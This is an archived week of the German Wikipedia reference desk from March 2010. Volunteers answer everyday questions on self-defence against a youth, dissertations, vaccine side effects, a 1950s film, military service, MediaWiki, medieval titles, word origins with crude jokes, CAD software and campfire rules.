Wikipedia:Auskunft/Archiv/2010/Woche 12

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Dies ist ein Archiv der Seite Wikipedia:Auskunft. Es enthält alle Abschnitte, die in der Kalender-Woche 12 im Jahr 2010 begonnen wurden.

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Präzedenzfall

Wie sehr kann ein Präzedenzfall massgebend für andere Fälle sein, wenn der Gegner eine Industrie ist, der Präsident dieser zedenzfall]] hat im deutschen Recht eine andere Rolle als im angelsächsischen. Bei so komplexen Fragen ist es aber besser sich an den Anwalt des Vertrauens zu wenden.--134.2.3.103 11:16, 22. Mär. 2010 (CET)

Ich bin mir auch nicht ganz sicher, inwieweit hier wirklich ein Präzedenzfall gemeint ist. Auch sonst gibt es viele Unklarheiten.
Liebe Ingrid, hier lesen wenige Rechtsanwälte mit und unter den wenigen Rechtsanwälten sind noch weniger Schweizer Rechtsanwälte. Und die dürfen dann einerseits keine Auskunft geben, haben aber andererseits auch nicht genug Informationen, um Dir wirklich helfen zu können. Bitte sprich mit einem Schweizer Rechtsanwalt über das Problem. Bei Rechtsanwälten ist es wie bei Ärzten, bei Schokolade und bei Käse: Viele sind gut, aber man kann auch Pech haben. Wenn der Rechtsanwalt, der Dich bisher beraten hat, Dir nicht gut geholfen hat, such Dir einen anderen Rechtsanwalt. BerlinerSchule 11:55, 22. Mär. 2010 (CET)

Umgang mit Gewalt

Wie sollte sich ein richtiger Mann verhalten, wenn er von einem halbstarken Jugendlichen angegriffen wird? --95.88.24.96 08:28, 22. Mär. 2010 (CET)

Nach Möglichkeit Hilfe herbeirufen. Polizei rufen.
Was ist übrigens ein "richtiger Mann"? Gibt es auch falsche?
--Eike 08:38, 22. Mär. 2010 (CET)
PS: Hier Tipps der Polizei: [1] [2]
Angreifer mit gezieltem Schlag kampfunfähig machen --89.15.40.128 08:42, 22. Mär. 2010 (CET)
Ummm... Alternativen aus der Schweiz. G! GG nil nisi bene 08:44, 22. Mär. 2010 (CET)
Addendum: In dem Zusammenhang auch Viktimologie lesen. Intellektuell suboptimal konditionierte aggressive Jugendliche (und anderes Gesindel) leben in einer Welt, in der Körpersprache und Imponiergehabe eine grössere Rolle spielt, als bei den meisten anderen Bevölkerungsgruppen. Durch entsprechenden Gang und Körberhaltung (gerades Kreuz, leicht abgewinkelte Arme, "Orientierungsblick") und sicheres (statt zögerliches) Verhalten, kann man schon im Vorfeld signalieren "Ich bin kein leichtes Opfer". Peace G! GG nil nisi bene 09:10, 22. Mär. 2010 (CET)
Wenn Du bereits angegriffen wirst, ist es zu spät. Da hilft nur noch sich schützen, dass Du nicht wesentlich getroffen wirst. Wenn Du (noch) kannst, auch weglaufen und um Hilfe schreien, es sei denn, Du hast in SantaFu das Boxen gelernt. Auf was da so meine Vorschreiber mit ihren Beiträgen hinweisen wollen, ist sowas im Vorfeld zu verhüten. Das ist richtig und man sollte sich das beherzigen. Wie im Tierreich, gehen bei solchen Konflikten gewisse Riten voraus. Die zu erkennen und sich deeskalierend zu verhalten ist bereits die hohe Kunst. Dazu gehört, ggf. (frühzeitig) zurückweichen oder weglaufen. Leider sind wir aber meistens so gepolt, dieses als "Schwanz einkneifen" negativ zu werten. Unsere Vierbeiner sind da rationaler. Auch frage ich mich, ob ich als Erwachsener bereits lärmende Jugendliche in der S-Bahn zur Ruhe rufen oder am Rauchen hindern muss. Anders natürlich, wenn Körperverletzung im Spiel ist. Meine damit nicht selbst provozieren und sich auch nicht provozieren zu lassen. (Bin aber sicher, dass ich, falls es mich mal doch erwischen sollte, nicht alles richtig gemacht habe.)--91.56.203.76 11:40, 22. Mär. 2010 (CET)
So isses. Wenn es so weit kommt, dass man tatsächlich (körperlich) angegriffen wird, hilft auch die Polizei nicht. Weglaufen hilft! Wenn Weglaufen nicht geht *muss* man von Anfang an alles geben was man hat. Also dem ersten Schlag oder Tritt ausweichen und dann sofort mit äußerster Kraft kontern. Macht man es richtig, sollte kein weiterer Versuch seitens des Jugendlichen mehr folgen, vermutlich läuft er dann weg. Wenn's nicht klappt, nochmal versuchen. Vorsicht: Bei Gruppen wird man gleichzeitig von mehreren Leuten angegriffen. Immer erstmal weglaufen versuchen, nur nicht zu lang, damit man nicht außer Puste kommt. Wenn man in der Zange ist muss man halt beißen, treten, strampeln, was eben noch möglich ist. -- Janka 11:45, 22. Mär. 2010 (CET)
Wenn du so eine Frage stellen mußt gehörst du vermutlich zu den ziviliserten Menschen die überhaupt keine Erfahrung mit Gewalt haben. In dem Fall kann der Halbstarke der dich mal ebenso einfach angreift die Sache mit der Gewalt viel viel besser als du. Entweder du nutzt dein höheres Körpergewicht und rennst ihn um und dann weiter oder du läufst gleich weg. Alles andere endet für dich vermutlich mit ausgeschlagenen Zähnen und oder einem Krankenhausaufenthalt. Das Problem ist das wir sogar das richtige Weglaufen in gefährlichen Situation verlernt haben :) --FNORD 12:30, 22. Mär. 2010 (CET)
Was soll Deiner Ansicht nach jemand machen, der von vornherein weiß, dass er aus körperlichen Gründen (Behinderung, Verletzung, allgemeiner Gesundheitszustand, et c.) nicht so schnell rennen kann, dass er sportlichen Gewalttätern zu entkommen vermöchte? Soll der sich gleich eine handliche, aber vielschüssige Waffe anschaffen? Oder kann man dem nur raten, nicht mehr nach Deutschland zu kommen? BerlinerSchule 13:40, 22. Mär. 2010 (CET)
Mein Lieber mit der Berliner Schule, es wird immer Sonder- und Einzelfälle geben, wo die allgemeine Regel nicht passt. Dem müssen dann diese Leute Rechnung tragen und entsprechende Maßnahmen für sich finden, die im Vorfeld des Konfliktes aber nicht wesentlich anders sind, als für die anderen. Du machst mir Angst mit dem nicht mehr nach Deutschland kommen. Ich komme sehr viel rum und halte Deutschland für relativ harmlos. Ich logiere auch demnächst in Berlin und hoffe, das Deine Einstellung nicht aus den heimatlichen Erfahrungen stammt.--91.56.203.76 14:02, 22. Mär. 2010 (CET)
Eine Schusswaffe ist dem Durchschnittsbürger, der nicht in einem Schießsportverein aktiv ist, normalerweise ziemlich unerreichbar; ihr Gebrauch ist außerdem mit deutlichen praktischen und rechtlichen Schwierigkeiten verbunden. Es bleiben aber diverse Möglichkeiten, z.B. (a) Reizgas-Spray (nicht sicher wirksam, hohes Eigenrisiko), (b) Elektroschocker (muss auch geübt werden), (c) Lauftraining (dauert länglich), (d) Kampfsporttraining (dauert noch länger), (e) Bodyguard (teuer) oder (f) Schäferhund anschaffen (massive moralische Wirkung!). :-) --Idler 14:05, 22. Mär. 2010 (CET)
Na wenn man in einer Gegend wohnt in der solche Übergriffe warscheinlich sind, dann ist das keine schlechte Idee mal darüber nachzudenken ob man sich nicht Pfefferspray, Schocker, Stock oder sonst etwas zur Verteidigung anschaffen möchte. Wenn man nicht so großen Wert auf Legalität legt, dann ist dein Vorschlag natürlich der effektivste. Ich dagegen meide diese Gegenden einfach Nachts. Das schützt nicht vollständig vor solchen Situationen, aber es verringert die Wahrscheinlichkeit das man sich verteidigen muss enorm. Der Schäferhund ist aber bisher das beste Argument. Der senkt das Risiko angegriffen zu werden auf nahe 0. --FNORD 14:12, 22. Mär. 2010 (CET)
Wenn man angegriffen wird, hat man in gewisser Weise schon was falsch gemacht. Wenn man nicht jemanden helfen will und muss, sollte man entsprechende Situationen umschiffen, da reicht oft schon der Wechsel der Straßenseite oder zügiges Weitergehen. Nicht ängstlich rumschleichen oder den großen Max geben. Das haben „richtige Männer“ nicht nötig.
Und nicht vergessen: Das Risiko ist in Deutschland sehr gering. Ich lebe seit zwanzig Jahren in Berlin (auch in „schlechten Vierteln“), gehe da lang, wo es mir passt, bin körperlich ein Hänfling. Passiert ist mir noch nie was. Und ich habe mich schon eingemischt, wenn es mir notwendig schien. Ein bisschen Glück hatte ich sicher auch. Rainer Z ... 15:07, 22. Mär. 2010 (CET)
Mir dagegen schon zwei mal, grundsätzlich ohne das ich diejenigen auch nur gesehen hätte bevor das angefangen hat. :) (nix schlimmeres passiert) Aus zwei kann man noch keine Statistik ableiten. Aber in diesem Fällen beschränkte sich das Fehlverhalten auf, zu diesem Zeit dort anwesend zu sein. Wenn die Situation frontal auf einen zukommt kann man durch richtiges Verhalten eventuell die Situation positiv beeinflussen. Wenn derjenige gerade einfach irgend jemand verhauen will dann ist es fast egal wie man sich verhält. Und wenn man sich doch irgendwie richtig verhält, erwischt es halt den Typen der fünf Meter weiter auf der Straße läuft. --FNORD 16:22, 22. Mär. 2010 (CET)

Dissertation

Werden heutzutage alle Dissertationen online bei den Unis abgespeichert? Es gibt doch da glaube ich, auch eine Datenbank. Ich suche eine, kenne aber nur den Autor und weiß auch nicht, ob sie online ist. Zudem ist der Dissident (lächel) Mitarbeiter des MGFA !!-- scif 11:13, 22. Mär. 2010 (CET)

Das ist Teil der Promotionsordnung und von Fakultät zu Fakultät verschieden. Wenn du bereit bist mehr zu verraten kann ich mehr erzählen.--134.2.3.103 11:18, 22. Mär. 2010 (CET)
Mal abgesehen davon, dass Du nicht einmal den Staat oder die Uni angegeben hast. Und die Freie Universität Teufen veröffentlich meines Wissens keine Dissertationen ;). --Taxman¿Disk? 11:20, 22. Mär. 2010 (CET)

Klaus Storkmann, Hauptmann der BW. Das MGFA sitzt in Potsdam, die Dissertation behandelt das Engagement der NVA in der 3. Welt. Wer hat die KAcke mit Klan verzapft? @ TAxman, manchmal hat man nicht viel mehr Informationen.-- scif 11:40, 22. Mär. 2010 (CET)

Hier gibt es eine Metasuche. Sie scheint bei dem von dir gesuchten Autor auch etwas zu finden. -- Joyborg 12:14, 22. Mär. 2010 (CET)
Es gibt: ›Aktive Solidarität‹? Akteure und Motive des politischen Entscheidungsprozesses zu Militärhilfen der DDR für die sogenannte Dritte Welt von Klaus P. Storkmann, erschienen 2008 in der Zeitschrift des Forschungsverbundes SED-Staat. --тнояsтеn 12:43, 22. Mär. 2010 (CET)

@ Joy, da siehst du mehr als ich. Aber die Suchmaschine sieht gut aus, sowas hatte ich gesucht, generell. Ähm, Zeitschriftenbeiträge meinte ich nicht. Es geht schon um eine Dissertation, die wohl im Herbst auch als Buch erscheinen soll. Aber danke für die Suche.-- scif 12:45, 22. Mär. 2010 (CET)

Der Katalog des MGFA hat sie nicht, soweit ich das sehe: http://opac.mgfa.de/ . Wo wurde denn die Dissertation verfasst? Am MGFA? Sonst einfach mal bei Herrn Storkmann anrufen und nett fragen ;-) --тнояsтеn 12:54, 22. Mär. 2010 (CET)
Schau mal hier bei Fußnote 98: http://www.libreka.de/9783861535041/125?query=(storkmann) . Sicher, dass die Dissertation schon veröffentlicht wurde? --тнояsтеn 13:05, 22. Mär. 2010 (CET)
Und noch was: "Die Veröffentlichung der Dissertation ist als Monographie in der Reihe 'Militärgeschichte der DDR' geplant." ([3]). --тнояsтеn 13:08, 22. Mär. 2010 (CET)

Wer vandaliert hier? Das eine Veröffentlichung geplant ist, weiß ich selbst. Kenne auch die Seite vom MGFA. Ich weiß halt nur, das er seine Dissertation eingereicht hat und diese auch bereits benotet wurde. Ob sie veröffentlicht wurde, weiß ich nicht. Offensichtlich nicht. Man wird sich wohl bis zur Buch-VÖ gedulden müssen.-- scif 13:25, 22. Mär. 2010 (CET)

Dissertationen werden nicht generell über das Internet veröffentlicht, hängt einerseits von der jeweils gültigen Promotionsordnung ab und anderseits davon, ob man bei mehreren Publikationsmöglichkeiten die Internet-Variante wählt. Zwischen Benotung der Dissertation und der Veröffentlichung kann noch einiges an Zeit vergehen, zudem steht da noch eine mündliche Prüfung dazwischen, danach steht erst die Gesamtnote fest. Dann müssen noch ggf gewünschte Korrekturen an der Arbeit gemacht werden, bevor die Diss in den Druck geht (eine gewisse Anzahl gedruckter Pflichexemplare müssen afaik an jeder Uni abgegeben werden) und/oder die elektronische Version zur Publikation erstellt wird. Veröffentlicht (und damit endgültig angenommen) wird die Dissertation erst, wenn die Freigabe der Fakultät (meist durch den Hauptberichter (Doktorvater)) für die endgültige gedruckte und/oder elektronische Version zur Veröffentlichung vorliegt. Erst danach gibt es auch die Doktorurkunde. –-Solid State «?!» 13:42, 22. Mär. 2010 (CET)
Über die Pflichtexemplare für die anderen Unis hinaus muss eine Dissertation überhaupt nicht veröffentlicht werden - viele werden in einem solch weitergehenden Sinne auch gar nicht veröffentlicht (und manchmal ist das auch gut so). Diese Dissertationen (ich wage ohne nähere Quellen die Behauptung, dass das die Mehrzahl der Dissertationen betrifft) führen somit ein Mauerblümchendasein in Universitätsbibliotheken und gelangen zu Ruhm außerhalb ihrer eigenen Fakultät am ehesten noch dadurch, dass der Doktorvater die Ergebnisse in eigenen Arbeiten mit-veröffentlicht. Der Autor selbst hat häufig weder ein Interesse noch die Mittel, seine Arbeit einem größeren Publikum zugänglich zu machen als unbedingt nötig (der Druck der notwendigen Beleg-Exemplare kann schon ziemlich ins Geld gehen...).
Sobald das von Solid State beschriebene Procedere abgeschlossen ist, ist die nicht "weiter" veröffentlichte Diss dann irgendwann über die Bibliothekskataloge und -suchsysteme der mit Belegexemplaren bedachten Universitäten auffindbar.
Die Veröffentlichung im Internet dürfte wohl noch immer die Ausnahme sein (es sei denn, der Autor sorgt selbst dafür, aber das ist ja dann eher Zufall).
Wenn der Autor bekannt ist, ist der sicherste, erfolgversprechendste und schnellste Weg wohl die Kontaktaufnahme mit ihm. --Snevern 23:19, 22. Mär. 2010 (CET)

Elektronisch veröffentliche Dissertationen, deren Autor und/oder Titel bekannt ist, lassen sich mit Google Scholar recht gut finden. Wurden sie bereits zitiert, erhöht sich die Chance dafür nochmals wesentlich. Gruss, --Cú Faoil RM-RH 23:45, 22. Mär. 2010 (CET)

Hotline für Impfnebenwirkungen

Gibt es eine Hotline die man anrufen kann um sich zu informieren ob Impfnebenwirkungen noch im Bereich des normalen liegen? --85.181.212.96 18:59, 22. Mär. 2010 (CET)

Ich würde unbedingt den impfenden Arzt konsultieren. --Vsop 19:15, 22. Mär. 2010 (CET)
Der ist nicht mehr erreichbar :). Deswegen frage ich ja. --85.181.210.153 20:18, 22. Mär. 2010 (CET)
Anderen Hausarzt oder nächstgelegenes Spital anrufen? Möglicherweise unterhält Deine Krankenversicherung ja auch eine entsprechende Hotline? Gruss, --Cú Faoil RM-RH 20:20, 22. Mär. 2010 (CET)
Sind es gravierende Nebenwirkungen? Impfschaden? Ggf. ärztlichen Notdienst kontaktieren. Normalerweise ist das alles harmlos und schlimmstenfalls im Rahmen einer leichten Symptomatik der Erkrankung/Infektion, gegen die geimpft wurde. Fühlst Du dich wirklich krank, Ärztlicher Notdienst, wie gesagt. Gute Besserung! William Foster 20:38, 22. Mär. 2010 (CET)

Auch Film gesucht... (erl)

Hi, ich suche auch einen Film. Der Film ist schon älter (schwarz-weiß), denke das es ein amerikanischer Film ist. Er spielt in einer abgelegenen Gegend in einer Art (ant-)arktischen, isolierten Forschungsstation. Dort in der Nähe schlägt ein Raumschiff ein und die Menschen in der Station müssen sich gegen den (die) Alien(s) wehren. Irgendwie pflanzen die sich pflanzlich fort aber unter zu Hilfenahme von Blut, bzw. heilen so wieder ihre abgetrennten Gliedmaßen. Schließlich gelingt es das Alien unter Strom zu setzen und so zu vernichten.

Kennt jemand den Film?

--Pilettes 22:19, 22. Mär. 2010 (CET)

Das Ding aus einer anderen Welt; die Originalversion von 1951 ist schwarzweiß. Gruß --Schniggendiller Diskussion 22:26, 22. Mär. 2010 (CET)
Ja, das war er. Danke schön! :) --Pilettes 22:42, 22. Mär. 2010 (CET)

Wehrdienst bei Bundespolizei

Anknüpfend an die Frage weiter oben, aber persönlich konkrete Stoßrichtung: Ist es noch aktuell, dass man seinen Wehrdienst bei der Bundespolizei ableisten kann? Wenn ja, wie? --141.20.106.68 14:58, 22. Mär. 2010 (CET)

Ich dachte das wäre anderes. Wenn du zur Polizei gehst musst du keinen Wehrdienst ableisten.--134.2.3.103 15:04, 22. Mär. 2010 (CET)
Das dachte ich auch. Aber guckst du hier Wehrersatzdienst -- PogoEngel 15:10, 22. Mär. 2010 (CET)
Da steht's doch auch so: "Personen, die dem Vollzugsdienst der Polizei eines Landes oder des Bundes angehören oder für diesen durch schriftlichen Bescheid angenommen sind, werden nicht zum Wehr- bzw. Zivildienst herangezogen." Also, Polizeidienst ist kein Wehrdienst. --Eike 16:16, 22. Mär. 2010 (CET)
Gleiches gilt übrigens auch, wenn man sich auf den Pfarrer oder Priesterberuf vorbereitet... Steht im Artikel allerdings nicht-- PogoEngel 17:32, 22. Mär. 2010 (CET)
Polizeidienst als Polizeibeamter bzw. Anwärter befreit von der Wehrpflicht. Es gab aber (oder gibt es noch?) die Möglichkeit, sich nur auf Zeit beim Grenzschutz zu verpflichten und seine Wehrpflicht so abzuleisten. Hat mein Cousin in den 70ern gemacht. Von dieser Möglichkeit steht nichts im Artikel Wehrersatzdienst. Grüße, der Sperberpedo mellon a minno 17:51, 22. Mär. 2010 (CET)

Grenzschutz übernimmt heute die Bundespolizei. Anstellungen auf Zeit sind mir für die heutige Zeit nicht mehr bekannt.--scif 18:53, 22. Mär. 2010 (CET)

doch dort ist ein Link auf Grenzschutzdienstpflicht] -- PogoEngel 20:46, 22. Mär. 2010 (CET)

Pogo, sorry, liest du aber auch mal das Verlinkte? In den 2 Abschnitten zu dieser Frage ist teilweise soviel Halbwissen geschrieben worden, meine Herrn.-- scif 13:09, 23. Mär. 2010 (CET)

In dem Link wird wenn ich micht recht entsinne angegeben, dass man vom Wehrdienst befreit war wenn man sich beim Grenzschutz verpflichtete. (Das war wohl auch auf Zeit möglich). Und damit beantworte ich die Frage von Sperber, dess Cousin das wohl machte. Der Bundesgrenzschutz wurde 2005 in Bundespolizei umbenannt. Und einen "Ersatzdienst" gibt es wie im Artikel steht seit 1994 nicht mehr. Damit sollte die Frage ansich beantwortet sein ? Man ist zwar befreit wenn man bei der Bundespolizei tätig ist aber einen möglichkeit dort eine Art Wehr/Ersatzdienst abzuleisten gibt es nicht mehr. Die Informationen ziehe ich aus den Artikel Wehrersatzdienst, Grenzschutzdienstpflicht und Bundespolizei (Deutschland) -- PogoEngel 13:28, 23. Mär. 2010 (CET)

Jetzt wirds doch rund. Genauso. Ich bezog deine Antwort auf mich, das sah bissl unglücklich aus. Aber nun isses ja gescheit erklärt.-- scif 13:44, 23. Mär. 2010 (CET)

Hm. In Grenzschutzdienstpflicht steht, dass Wehrpflichtige ab August 1972 zum Dienst beim BGS statt bei der Bundeswehr verpflichtet werden konnten, wenn der Bedarf nicht durch Freiwillige gedeckt wurde. Dass dies aber nur bis 1973 praktiziert wurde. Aber nicht von wann bis wann ein freiwilliger Grenzschutzdienst von welcher Dauer - ich meine, es waren acht Jahre, wie beim Katastrophenschutz - als Ersatz für den Wehrdienst möglich war. Ich finde, das würde unser kleines Lexikon interessieren;-) Grüße, der Sperberpedo mellon a minno 15:26, 23. Mär. 2010 (CET)
Hm OKay dieser Information ändert schon wieder einiges... Klingt aber irgendwie komisch 8 Jahre Wochenendspolizist... ich werde mal suchen ob ich was finde.-- PogoEngel 15:57, 23. Mär. 2010 (CET)
Hier werden wir nun auch noch darüber aufgklärt. ;-) -- PogoEngel 16:04, 23. Mär. 2010 (CET)
Man muß zwischen dem Dienst bei der Bundespolizei (BGS) und der Polizei der Länder unterscheiden. Der Polizeidienst (Landespolizei) ist vom Wehrdienst BEFREIT, der Dienst bei der BuPo wird als Wehrdienst (nachträglich) ANERKANNT. --Ch.Weg 00:39, 24. Mär. 2010 (CET)

MediaWiki-Auskunft

Ab wann ist für mediawiki ein Artikel ein Artikel der von {{NUMBEROFARTICLES}} gezhlt wird? Hab das Problem, dass mein Wiki viele 3-Zeichen-Lemmata hat, sodass ich vermute, dass da der Hund begraben liegt. {{NUMBEROFARTICLES}} listet 47 Artikel, Spezial:Kurze Seiten listet hingegen 110 Artikel, wobei die Weiterleitungen zumindest darin nicht auftauchen. --darkking3 Թ 16:25, 22. Mär. 2010 (CET)

In {{NUMBEROFARTICLES}} stehen meines Wissens alle Artikel mit einem internen Link [[...]], die keine Weiterleitungen sind. --Steef 389 17:09, 22. Mär. 2010 (CET)
Früher hat MediaWiki nur Seiten gezählt, die mindestens ein Komma enthielten, heute gilt: mind. ein Wikilink oder Zugehörigkeit zu einer Kategorie; vielleicht ist dein Wiki noch auf den alten Standard eingestellt? Das kann man wohl ändern, siehe mw:Manual:Article count. Gruß --Schniggendiller Diskussion 17:26, 22. Mär. 2010 (CET)
Gilt dies auch, wenn alle Links und Kommata nur in einer Vorlage enthalten sind? --darkking3 Թ 19:41, 22. Mär. 2010 (CET)

domestico=Hausmeier?

Ist der Begriff domestico synonym zu Hausmeier? Mittelalter-Genealogie verwendet den Begriff ohne noch einmal darauf einzugehen.--89.186.141.12 17:40, 22. Mär. 2010 (CET)

Steht doch in deiner Quelle: Die domestici, die große Fiskalbezirke verwalteten, standen zu dieser Zeit im Rang zwischen den duces/Herzögen und den comites/Grafen. Suchst du jetzt nach einem deutschen Wort dafür? Mal selbst unter Hausmeier nachgeschaut? Google bietet auch gewisse Hinweise. --Aalfons 18:23, 22. Mär. 2010 (CET)
Übrigens: die IP von oben bin ich. War irgendwie nicht angemeldet.
Aber zurück zur Frage: den Absatz habe ich danach auch noch gesehen. Es ergeben sich aber Wiedersprüche. Zum einen sind in der alemannischen WP Chlodulf und Ansegisel gar nicht mit aufgeführt. Zum anderen sind in der deWP exakt die Herrschaftszeiten angegeben, die bei Mittelalter-Genealogie als Zeiten als domestici angegeben sind. Daher kam meine Vermutung von oben. (Mittelalter-Genealogie hat zwei Artikel über Ansegisel? [4] und [5]) Der erste Link schreibt es schwarz auf weiß? Hausmeier ("Domesticus")?--Comm. makatau 18:54, 22. Mär. 2010 (CET)
Ja. --Aalfons 21:02, 22. Mär. 2010 (CET)
(Sorry, wieder unangemeldet) Aber warum stehen sie dann zwischen den duces/Herzögen und comites/Grafen? Die Hausmeier müssten doch eigentlich ziemlich bald nach dem Herrscher selbst in der Hierarchie stehen, gerade in dieser Zeit.--217.68.184.108 08:13, 23. Mär. 2010 (CET)
In Austrien wird für die entsprechende Zeit Wulfoald als Hausmeier angegeben.--217.68.184.108 08:18, 23. Mär. 2010 (CET)

Doom 3 auf Win 7

Hallo. Mein Bruder hat auf seinem PC Win 7 und hab versucht Doom 3 nach erfolgreicher Installation zu starten. Leider läuft das Spiel auf Grund einer Fehlermeldung nicht, auch wenn ich es unter Kontabilität als Administrator ausführen will, so lässt es sich nicht starten. Kann es daher sein dass Doom 3 auf Windows 7 nicht läuft? 80.108.35.233 20:09, 22. Mär. 2010 (CET)

Da wäre es jetzt schon hilfreich, wenn du uns den Inhalt der Fehlermeldung mitteilen könntest, denn es gibt deren viele, und im ganz Trüben tun selbst wir uns nicht so leicht mit dem Fischen :) -- Grottenolm 21:30, 22. Mär. 2010 (CET) PS: Das Spiel läuft übrigens mitnichten auf Grund der Fehlermeldung nicht, sondern aufgrund des Fehlers selbst!

Hallo. Nicht dass ihr jetzt glaubt dass ich vom selben Computer schreib weil ich war vor einiger Zeit im Internetcafe und hab da mein Anliegen über Doom 3 auf Win 7 beschrieben. Nun, die Sache ist die, dass der PC von meinem Bruder angeschrieben hat dass er das Spiel nicht laden konnte obwohl mein Bruder ca. die selbe Gamergraphikkarte hat wie ich, ich hab auch nachgeschaut. 188.23.220.92 21:48, 22. Mär. 2010 (CET)

Die Fehlermeldung war also: "Das Spiel konnte nicht geladen werden"? Etwas genauer müsste es dann schon sein. --62.226.212.235 22:09, 22. Mär. 2010 (CET)
Du hast den Satz ernsthaft verstanden? Ich hab ihn mehrfach gelesen, aber verstehen tu ich ihn trotzdem nicht. --Wikus van de Merwe 23:51, 22. Mär. 2010 (CET)

Sorry aber an den Satz kann ich mich nicht mehr genau erinnern, außerdem hab ich seltener auf den PC meines Bruders Zugriff. Aber gibt es trotzdem keine Wege herauszufinden ob Doom 3 auf Win 7 läuft? Weil auf Google hab ich auch nichts Richtiges gefunden. 188.23.220.92 22:18, 22. Mär. 2010 (CET)

Mir stellt sich an diesem Punkt die T-Frage. -- Grottenolm 23:03, 22. Mär. 2010 (CET)
Zum googlen: [6]. Also Spiel geht nicht, nach Windows-Update wohl ja. --Mps 12:30, 23. Mär. 2010 (CET)
und zusätlich söllte er erst einmal seine Hausaufgaben erledigen, dass er sich ein wenig gescheiter in der deutschen Sprache üben möge, bevor er seinen alltäglichen Spielezockereien nachgehen kann um dabei sein Hirn abzuschalten.--91.14.82.51 12:25, 23. Mär. 2010 (CET)

Was ist...

"Importsubstitution" und "Exportdiversifizierung"? Der Artikel Importsubstituierende Industrialisierung gibt zur Allgemeinbegriffsklärung nichts her. Sorry! Clas (nicht signierter Beitrag von 80.187.97.59 (Diskussion | Beiträge) 22:49, 22. Mär. 2010 (CET))

(Gesuchter Begriff) + (Begriff "Definition") + Google => Tiefe intellektuelle Befriedigung ;-) G! GG nil nisi bene 08:36, 23. Mär. 2010 (CET)

Gleicher Wortstamm ?

das niederländische verb fokken (züchten), das deutsche ficken und das englische to fuck- sind diese auf ein und dasselbe (ursprungs-)wort zurückzuführen? --79.197.29.50 12:23, 23. Mär. 2010 (CET)

Ja, yes, ja. (Friedrich Kluge: Ethymologisches Wörterbuch, de Gruyter, Berlin/New York 1995, ISBN 3-11-012922-1) --Dansker 13:25, 23. Mär. 2010 (CET)
Und willst du auch wissen, auf welches? Vermutlich auf das rekonstruierte indogermanische *peuk- "stoßen". --Aalfons 14:00, 23. Mär. 2010 (CET)
Und wie ist es mit latein. facere? --90.128.126.4 14:22, 23. Mär. 2010 (CET)
Nüschte. Verwandtes deutsches Wort zu facere "machen" ist tun, westgermanisch *do- "tun", Ausgangswort ist indogerm. *dhe- "setzen"; die lateinische Form ist eine ungewöhnlich wirkende sog. k-Erweiterung. Facere, um das gleich vorweg zu nehmen, ist nicht nur nicht mit fuck verwandt, sondern auch nicht mit fake, das wohl auf germanisch fegen "aufräumen, säubern" zurückzuführen ist. (Kluge 25. A., OED 2. A., Walde 1. A.) --Aalfons 14:36, 23. Mär. 2010 (CET)
Ein Niederländer erzählte mir folgende nicht ganz jugendfreie Anekdote: Die Queen war auf Staatsbesuch in den Niederlanden und wurde von Königin Beatrix in einer Kutsche ausgeführt. Die Queen bemerkte dabei mit Blick auf die Pferde "You have very nice horses", worauf die Königin antwortete: "Yes, I fokk them". --Cú Faoil RM-RH 17:30, 23. Mär. 2010 (CET)
*ROFL* Made my day! And reminds me of w:en:Dead Men Don't Wear Plaid. --Geri 17:42, 23. Mär. 2010 (CET)
Und noch einer: Major Cunningham erzählt seinen Enkeln von der Luftschlacht um England. "One day, the boys and me where on a recon-flight over the Channel. Suddenly there appeared these german Fuckers, and sored down at us, right out of the sun!" Die Tante ist schockiert. "Oh my dear! I assume, you refer to Fokkers, don't you?" -- "Of course, excuse me. Well, now there wehre these Fokkers, sitting in their Messerschmidts and..." Ugha-ugha 18:13, 23. Mär. 2010 (CET)

Open Source CAD-Software

Hallo Wikipedianer,

ich suche eine Open Source CAD-Software, die ich per VB.Net steuern kann. Über Google finde ich leider nichts Vernünftiges! Hat irgendjemand Vorschläge, so was wie AutoCad oder Microstation, aber eben Open Source (kostenfrei)

Gruß--109.41.31.87 12:31, 23. Mär. 2010 (CET)

sowas suche ich auch, ich brauch aber das VB.net nicht.--134.2.3.103 12:58, 23. Mär. 2010 (CET)
Wie wär's mit QCad? Allerdings wohl ohne VB. Ansonsten mal die Artikel in Kategorie:Freie CAD-Software durchsehen… --El Grafo 20:29, 23. Mär. 2010 (CET)

Lagerfeuer in der freien Landschaft

Hallo, ist es eigentlich erlaubt, einfach so am Wegesrand, Seeufer, Strand oder Wald ein Lagerfeuer anzumachen? In Naturschutzgebieten ist es ja immer ausdrücklich auf den Schildern verboten. Aber außerhalb dieser "Verbotszonen"? Danke für die Antworten! --Patrice77 13:39, 23. Mär. 2010 (CET)

kommt auf die regulierungsbehörde an... also da nachfragen... beim rathaus oder so kriegt man rat... --Heimschützenzentrum (?) 13:50, 23. Mär. 2010 (CET)
Grundsätzlich ist es in Deutschland erlaubt. Es gibt allerdings einige Einschränkungen; im Wald z.B. darfst du es natürlich nicht. Und bestimmte Dinge nicht verbrennen. Und niemanden belästigen. - Vielleicht hilft dieses PDF aus Niedersachsen weiter: [7] --Joyborg 13:57, 23. Mär. 2010 (CET)
BK:Soweit ich weiss, gibt es da bundesweit keine einheitliche Regelung. Das regelt die untere Naturschutzbehörde beim Landratsamt, das auch die Gegend in verschiedene Umwelt-Schutzzonen eingeteilt hat. Meistens ist in den freien Zonen das Grillen mit einem (mitgebrachten) eisernen Grill erlaubt. Am Boden generell nicht. Dann gibt es auch Zeiten und Abstände zu beachten. Sicherlich gibt da Dein Landratsamt ein Merkblatt heraus, oder einfach mal dort anfragen. Bei den meisten meldet sich noch jemand, ohne dass Du ja, nein, sagen oder einsen, zweien drücken musst und dann eine Hotline in Maastricht keine Ahnung hat.--91.56.204.158 13:58, 23. Mär. 2010 (CET)
Unbedingt anmelden, ist öfterst schon passiert das ein privates Feuer für einen Einsatz der Feuerwehr inkl. Polizei gesorgt hat, weil besorgte Anwohner die Polizei verständigten.Crimecity hro 18:20, 23. Mär. 2010 (CET)
In Berlin, wo es immer Sommer oft sehr trocken ist (nur für manche Touristen stellt man drei Tage Regen hintereinander auf die Beine, klappt aber selten), wird regelmäßig eine Waldbrandgefahrstufe ausgerufen. Die verkünden die Medien und dann ist es streng verboten, bei einem Waldspaziergang zu rauchen. BerlinerSchule 20:02, 23. Mär. 2010 (CET)
